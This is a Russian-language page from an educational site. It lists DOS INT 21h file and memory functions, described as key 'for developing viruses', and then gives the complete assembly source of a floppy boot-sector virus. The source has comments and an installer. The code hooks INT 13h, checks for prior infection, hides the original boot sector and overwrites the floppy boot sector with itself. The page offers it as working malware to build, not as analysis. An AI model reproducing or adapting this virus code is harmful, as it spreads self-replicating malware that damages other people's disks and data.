Список наиболее часто используемых функций DOS. (ассемблер пример)
[AK] Вот список функций, которые важно помнить при разработке вирусов: Установить адрес DTA. ~~~~~~~~~~~~~~~~~~~~~ вход: ah = 1Ah ds:dx = адрес выход: нет
Получить адрес DTA. ~~~~~~~~~~~~~~~~~~~ вход: ah = 2Fh выход: es:bx = текущий адрес
Create - Создать файл. ~~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Ch cx = атрибуты файла (таб 1) ds:dx = путь и имя файла в формате asciz выход: if CF=0 then ax = дескриптор файла else ax = код ошибки (3,4,5) (таб 2)
Open - Открыть существующий файл ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Dh al = режим доступа (таб 2) cx = атрибуты ds:dx = имя выход: if CF=0 then ax = дескриптор файла else ax = код ошибки (1,2,3,4,5,0C)
Close - Закрыть файл ~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Eh bx = дескриптор ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (6)
Read - Чтение из файла ~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Fh bx = дескриптор cx = число байт ds:dx = буфер для чтения выход: if CF=0 then ax = число прочитанных байт Это значение может быть меньше CX. Например потому, что превысили длину файла. else ax = код ошибки (5,6) Write - Записать в файл ~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 40h bx = дескриптор cx = число байт ds:dx = данные для записи выход: if CF=0 then ax = число записанных байт else ax = код ошибки (5,6)
Unlink - Удалить файл ~~~~~~~~~~~~~~~~~~~~~ вход: ah = 41h cx = атрибуты ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (2,3,5)
LSeek - Установить указатель в файле ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 42h al = точка отсчета указателя: 0 - от начала файла 1 - от текущего положения 2 - от конца bx = дескриптор cx:dx = смещение (cx=старшие 16 бит, dx=младшие) выход: if CF=0 then dx:ax = новое положение указателя относительно начала else ax = код ошибки (1,6)
Получить атрибуты файла ~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 4300h ds:dx = имя выход: if CF=0 then cx = атрибуты else ax = код ошибки (1,2,3,5)
Chmod - Установить атрибуты файла ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 4301h cx = новые атрибуты ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (1,2,3,5) Выделить блок памяти ~~~~~~~~~~~~~~~~~~~~ вход: ah = 48h bx = размер блока в параграфах выход: if CF=0 then ax = сегмент блока else ax = код ошибки (7,8) bx = размер наибольшего доступного блока Освободить память ~~~~~~~~~~~~~~~~~ вход: ah = 49h es = сегмент блока выход: if CF=0 then ax = else ax = код ошибки (7,9) Изменить размер блока памяти ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Ah bx = новый размер es = сегмент выход: if CF=0 then ax = else ax = код ошибки (7,8,9) bx = размер наибольшего доступного блока Exec - загрузить или выполнить программу. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Bh al = тип загрузки: 0 - загрузить и выполнить 1 - загрузить и не выполнять 3 - загрузить оверлей 4 - загрузить и выполнить в фоновом режиме (dos 4.0) es:bx = блок параметров (таб 3) ds:dx = имя программы выход: if CF=0 then bx,dx разрушены else ax = код ошибки (1,2,5,8,0A,0B) Пример элементарного BOOT-вируса: .286 .model tiny .code org 00h start: jmp install ;jmp fkс table: ; А вот тут будет таблица диска org 4ch ; много места ей, но... fkс: nop ; xor di,di ; обнулим их mov ds,di ; DS=0 cli ; mov ss,di ; SS=0 mov si,7c00h ; SI - адрес в памяти, там мы ; начинаемся. mov bx,si ; запомним это... еще пригодится mov sp,si sti dec word ptr ds:[0413h] ; стока памяти дос mov ax,ds:[0413h] ; в АХ размер дос-памяти в килобайтах mov cl,06 ; чтобы получить сегмент надо число shl ax,cl ; килобайт умножить на 40h ; немного арифметики - сегмент считают ; от начала памяти в параграфах, пара- ; граф=10h байт, 40h параграфов=400h ; байт=1кБт. дальше все ясно. mov es,ax ; ES=адрес нового сегмента push ax ; в стек его - будем делать переход mov ax,offset inst_int ; на это вот смещение push ax ; и его в стек тоже mov cx,200h ; но сперва надо перенести свое тело cld ; в этот вот сегмент rep movsb ; переносим retf ; переход через стек inst_int: ; здесь мы уже в новом сегменте mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original mov ds:[0e0h*4],ax ; mov ax,ds:[13h*4+2] ; mov ds:[0e0h*4+2],ax ; mov word ptr ds:[13h*4],offset int13 ; INT 13h=наш обработчик mov ds:[13h*4+2],cs ; xor cx,cx push cx ; снова подготовка к переходу push bx ; через стек в точку 0000:7C00h mov es,cx mov ax,0201h ; читать нормальный бут-сектор mov cx,cs:floppy_sect ; вот отсюда его и читать mov dh,cs:floppy_head ; xor dl,dl ; с диска А: естественно int 0e0h ; вызов оригинального INT 13h run_boot: retf ; запустить бут. ;------ *** Hаш обработчик INT 13h *** ------- int13: mov cs:shit,ax ; сохраним ax int 0e0h ; выполним операцию jnc int_continue ; если была ошибка уходим jmp int_exit int_continue: pushf ; флаги запомнить надо! cmp byte ptr cs:[shit+1],2 ; reading sectors? jnz g1 cmp cx,0001 jne g1 cmp dh,0 ; читаем бут jne g1 cmp dl,01 ; не с винта надеюсь? jna fkс_boot g1: jmp get_out ;------------- Обработчик чтения бута с дискеты --------------- fkс_boot: pusha push ds es push es pop ds lea di,fkс ; сравним то что у нас по смещению fkс mov ax,cs:[di] ; с тем что мы прочитали по тому же смещению mov si,bx ; Так мы проверяем заражен ли add si,offset fkс ; уже нами бут-сектор cmp ax,[si] ; jz exit_boot_work ; если нет то уйдем отсюда cmp dl,1 ; на всякий пожарный :) В принципе можете ja exit_boot_work ; эту проверку выкинуть - она уже была find_place: ; поиск места куда прятать старый бут-сектор mov ax,[bx+16h] ; ax=число секторов в FAT mul byte ptr [bx+10h] ; умножим его на число FAT add ax,[bx+0eh] ; прибавим число резервных секторов для FAT-- push dx ; запомним dx - там номер диска и сторона | mov cl,4 ; | mov dx,[bx+11h] ; dx=число элементов корневого каталога | ; 1 элемент занимает 32 байта | shr dx,cl ; поделим его на 16 - получим число сектров | ; корня, вроде бы так... | add ax,dx ; прибавим к AX------------------------------ dec ax ; уменьшим на 1 ; в AX порядковый номер последнего сектора ; ROOT'a... ??? mov cx,[bx+18h] ; cx=число секторов на дорожке push cx ; запомним его shl cx,1 ; умножим на 2 xor dx,dx ; dx=0 div cx ; поделим DX:AX на CX pop cx ; вытащим CX из стека - там число секторов на ; дорожке было push ax ; запомним частное от предыдущего деления mov ax,dx ; в AX занесем остаток от деления xor dx,dx ; DX=0 div cx ; поделим еще раз mov dh,al ; DH=номер головки mov cl,dl ; CL=номер сектора pop ax ; выкинем AX mov ch,al ; CH=номер дорожки inc cl ; прибавим к нему 1 pop ax ; AX=бывшее DX - там была сторона и номер ; дисковода mov dl,al ; номер в DL mov cs:floppy_sect,cx ; то что получилось запомним mov cs:floppy_head,dh ;---------all found dh,cx rules--------- mov ax,0301h ; записать старый бут куда надо int 0e0h jc exit_boot_work ; если была ошибка - прекратить работу ; чтобы не убить диск совсем ; можно этого и не делать, едва ли что ; случится - вероятность того что вычисленный ; нами сектор BAD очень низка, но... push cs pop es lea di,table ; скопируем из бута в свое тело таблицу mov si,bx ; параметров диска add si,offset table ; mov cx,4ch-3 ; rep movsb ; push cs pop es mov ax,0301h ; запишемся в бут-сектор xor bx,bx mov cx,0001 xor dh,dh int 0e0h exit_boot_work: pop es ds ; восстановим все что убили popa get_out: popf ; и флаги обязательно int_exit: retf 2 ; выход из прерывания ;-------------data block-------------- floppy_sect dw 2f08h floppy_head db 01 shit dw 0 org 510 sign dw 0aa55h ; чтобы не выдавали сообщения NDD и прочие... ; это просто метка системного сектора ; ----- Инсталлятор вируса в бут дискеты ----- install: mov cs:[0000],4aebh mov byte ptr cs:[0002],090h ; нужная команда push ds xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov ds:[0e0h*4],ax mov ax,ds:[13h*4+2] mov ds:[0e0h*4+2],ax mov word ptr ds:[13h*4],offset int13 mov ds:[13h*4+2],cs pop ds push cs pop es mov ax,0201h mov cx,0001 mov dx,0000 mov bx,offset our_buffer int 13h xor ax,ax mov ds,ax mov ax,ds:[0e0h*4] mov ds:[13h*4],ax mov ax,ds:[0e0h*4+2] mov ds:[13h*4+2],ax mov ax,4c00h int 21h our_buffer: end start Существуют очень много вирусов, под разные операционные системы, имеющие различные цели, написанные на разных языках высокого и низкого уровней.
Популярное: Как выбрать специалиста по управлению гостиницей: Понятно, что управление гостиницей невозможно без специальных знаний. Соответственно, важна квалификация... Как построить свою речь (словесное оформление):
При подготовке публичного выступления перед оратором возникает вопрос, как лучше словесно оформить свою... Почему человек чувствует себя несчастным?: Для начала определим, что такое несчастье. Несчастьем мы будем считать психологическое состояние... ©2015-2024 megaobuchalka.ru Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. (267)
|
Почему 1285321 студент выбрали МегаОбучалку... Система поиска информации Мобильная версия сайта Удобная навигация Нет шокирующей рекламы |